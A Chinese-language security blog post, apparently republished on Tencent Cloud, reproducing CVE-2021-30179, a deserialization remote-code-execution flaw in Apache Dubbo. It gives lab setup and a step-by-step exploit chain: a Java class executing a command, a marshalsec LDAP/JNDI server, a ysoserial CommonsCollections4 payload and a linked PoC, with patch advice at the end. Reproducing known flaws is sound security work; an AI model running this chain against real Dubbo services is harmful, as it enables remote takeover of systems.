前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2021-30179:Apache Dubbo RCE复现

CVE-2021-30179:Apache Dubbo RCE复现

作者头像
Timeline Sec
发布2021-08-20 15:13:15
3.1K0
发布2021-08-20 15:13:15
举报
文章被收录于专栏:Timeline SecTimeline Sec

作者:lz2y@Timeline Sec

本文字数:1112

阅读时长:3~4min

声明:请勿用作违法用途,否则后果自负

0x01 简介

Apache Dubbo是一个分布式框架,致力于提供高性能透明化的RPC远程服务调用方案,以及SOA服务治理方案。Apache Dubbo在实际应用场景中主要负责解决分布式的相关需求。

0x02 漏洞概述

编号:CVE-2021-30179

Apache Dubbo默认支持泛化引用由服务端API接口暴露的所有方法,这些调用由GenericFilter处理。GenericFilter将根据客户端提供的接口名、方法名、方法参数类型列表,根据反射机制获取对应的方法,再根据客户端提供的反序列化方式将参数进行反序列化成pojo对象,反序列化的方式有以下选择:

  • true
  • raw.return
  • nativejava
  • bean
  • protobuf-json

我们可以通过控制反序列化的方式为raw.return/true、nativejava、bean来反序列化我们的参数从而实现反序列化,进而触发特定Gadget的,最终导致了远程命令执行漏洞

0x03 影响版本

Apache Dubbo 2.7.0 to 2.7.9

Apache Dubbo 2.6.0 to 2.6.9

Apache Dubbo all 2.5.x versions (官方已不再提供支持)

0x04 环境搭建

以Apache Dubbo 2.7.9为测试环境

1、下载zookeeper

代码语言:javascript
复制
https://archive.apache.org/dist/zookeeper/zookeeper-3.3.3/zookeeper-3.3.3.tar.gz

解压后的根目录下新建data和logs两个文件夹,修改conf目录下的zoo_sample.cfg为zoo.cfg,覆盖原有的dataDir并添加dataLogDir

2、双击bin目录下的zkServer.cmd,启动zookeeper,默认监听2181端口

3、下载测试Demo及POC:

代码语言:javascript
复制
https://github.com/lz2y/DubboPOC

该测试Demo是我在基础的Dubbo测试项目上添加了需要使用的Gadget所需的依赖(该CVE使用的为org.apache.xbean以及CC4)

师傅们也可以参考https://mp.weixin.qq.com/s/9DkD2g09mmplZ7mow81sDw安装官方提供的项目进行测试

(项目里的POC是我在参考链接的基础上修改后的结果,后续会更新Dubbo的其他CVE、GHSL的POC)

4、启动Provider

0x05 漏洞复现

1、下载marshalsec并编译得到jar包

代码语言:javascript
复制
git clone https://github.com/mbechler/marshalsec
mvn clean package –DskipTests

2、创建Exploit.java文件,通过javac得到Exploit.class文件

代码语言:javascript
复制
public class Exploit {
 
    static {
        System.err.println("Pwned");
        try {
            String cmds = "calc";
            Runtime.getRuntime().exec(cmds);
        } catch ( Exception e ) {
            e.printStackTrace();
        }
    }
}

3、在Exploit.class目录下开启http服务

代码语言:javascript
复制
python -m http.server 8000

4、使用marshalsec开启JNDI服务

代码语言:javascript
复制
代码语言:javascript
复制
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit" 8087

5、查看暴露的接口及其方法

代码语言:javascript
复制
telnet Dubbo服务ip Dubbo服务端口
ls
cd 服务
ls

打开

src\main\java\top\lz2y\vul\CVE202130179.java修改上一步得到的接口名及其方法

6、替换CVE-2021-30179.java中的POC1的ldap uri

填写Dubbo服务的ip以及端口号

7、运行即可发起JNDI注入执行打开计算器

POC2同POC1,只需修改LDAP服务地址即可使用

POC3为通过nativejava选项反序列化触发sink点,这里以CC4为例,利用yso生成CC4的序列化文件

代码语言:javascript
复制
代码语言:javascript
复制
java -jar ysoserial.jar CommonsCollections4 "calc" > 1.ser

修改POC中反序列化文件的路径

运行即执行calc弹出计算器

0x06 修复方式

升级 Apache Dubbo 至最新版本;

设置 Apache Dubbo 相关端口仅对可信地址开放。

代码语言:javascript
复制
参考链接:

https://mp.weixin.qq.com/s/9DkD2g09mmplZ7mow81sDw

https://securitylab.github.com/advisories/GHSL-2021-034_043-apache-dubbo/

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-07-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
文件存储
文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档